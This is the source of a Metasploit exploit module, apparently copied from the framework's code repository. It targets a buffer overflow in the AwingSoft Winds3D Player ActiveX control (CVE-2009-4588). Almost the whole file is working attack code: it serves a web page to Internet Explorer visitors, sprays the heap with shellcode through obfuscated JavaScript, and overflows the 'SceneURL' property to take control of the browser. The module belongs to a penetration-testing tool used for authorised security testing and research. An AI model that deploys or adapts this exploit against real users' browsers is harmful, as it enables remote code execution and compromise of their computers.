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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
Views: 11783
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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##

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# awingsoft_web3d_bof.rb

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#

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# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework

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#

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# Tested successfully on the following platforms:

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#  - Internet Explorer 6, Windows XP SP2

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#  - Internet Explorer 7, Windows XP SP3

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#

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# WindsPly.ocx versions tested:

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#  - 3.0.0.5

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#  - 3.5.0.0

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#  - 3.6.0.0 (beta)

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#

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# Trancer

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# http://www.rec-sec.com

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = AverageRanking

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  include Msf::Exploit::Remote::HttpServer::HTML

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',

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      'Description'    => %q{

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          This module exploits a data segment buffer overflow within Winds3D Viewer of

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        AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of

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        AwingSoft Web3D Player.

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        By setting an overly long value to the 'SceneURL' property, an attacker can

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        overrun a buffer and execute arbitrary code.

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      },

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      'License'        => MSF_LICENSE,

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      'Author'         =>

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        [

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          'shinnai <shinnai[at]autistici.org>',	# Original exploit [see References]

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          'Trancer <mtrancer[at]gmail.com>',	  	# Metasploit implementation

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          'jduck'

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        ],

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      'References'     =>

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        [

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          [ 'CVE', '2009-4588' ],

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          [ 'OSVDB', '60017' ],

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          [ 'EDB', '9116' ],

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          [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process'

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        },

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      'Payload'        =>

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        {

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          'Space'         => 1024,

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          'BadChars'      => "\x00\x09\x0a\x0d'\\",

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          'StackAdjustment' => -3500

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          # data segment size: 76180

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          # crasher offsets: 2640, 2712, 8984, 68420, 68424

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          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]

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        ],

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      'DisclosureDate' => '2009-07-10',

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      'DefaultTarget'  => 0))

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  end

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  def on_request_uri(cli, request)

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    # Re-generate the payload

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    return if ((p = regenerate_payload(cli)) == nil)

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    # Encode the shellcode

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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

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    # Setup exploit buffers

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    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))

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    ret  	  = Rex::Text.uri_encode([target.ret].pack('V'))

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    blocksize = 0x40000

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    fillto    = 500

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    offset 	  = target['Offset']

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    # Randomize the javascript variable names

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    winds3d      = rand_text_alpha(rand(100) + 1)

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    j_shellcode  = rand_text_alpha(rand(100) + 1)

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    j_nops       = rand_text_alpha(rand(100) + 1)

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    j_ret        = rand_text_alpha(rand(100) + 1)

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    j_headersize = rand_text_alpha(rand(100) + 1)

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    j_slackspace = rand_text_alpha(rand(100) + 1)

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    j_fillblock  = rand_text_alpha(rand(100) + 1)

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    j_block      = rand_text_alpha(rand(100) + 1)

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    j_memory     = rand_text_alpha(rand(100) + 1)

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    j_counter    = rand_text_alpha(rand(30) + 2)

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    # we must leave the page, so we use http-equiv and javascript refresh methods

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    html = %Q|<html>

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<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>

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<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>

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<script>

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#{j_shellcode}=unescape('#{shellcode}');

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#{j_nops}=unescape('#{nops}');

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#{j_headersize}=20;

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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

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#{j_memory}=new Array();

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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

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var #{j_ret} = unescape('#{ret}');

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while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }

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#{winds3d}.SceneURL = #{j_ret};

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setTimeout('window.location = "#{get_resource}";', 500);

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</script>

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</html>

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|

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    print_status("Sending #{self.name}")

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    # Transmit the response to the client

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    send_response(cli, html, { 'Content-Type' => 'text/html' })

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    # Handle the payload

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    handler(cli)

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  end

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end

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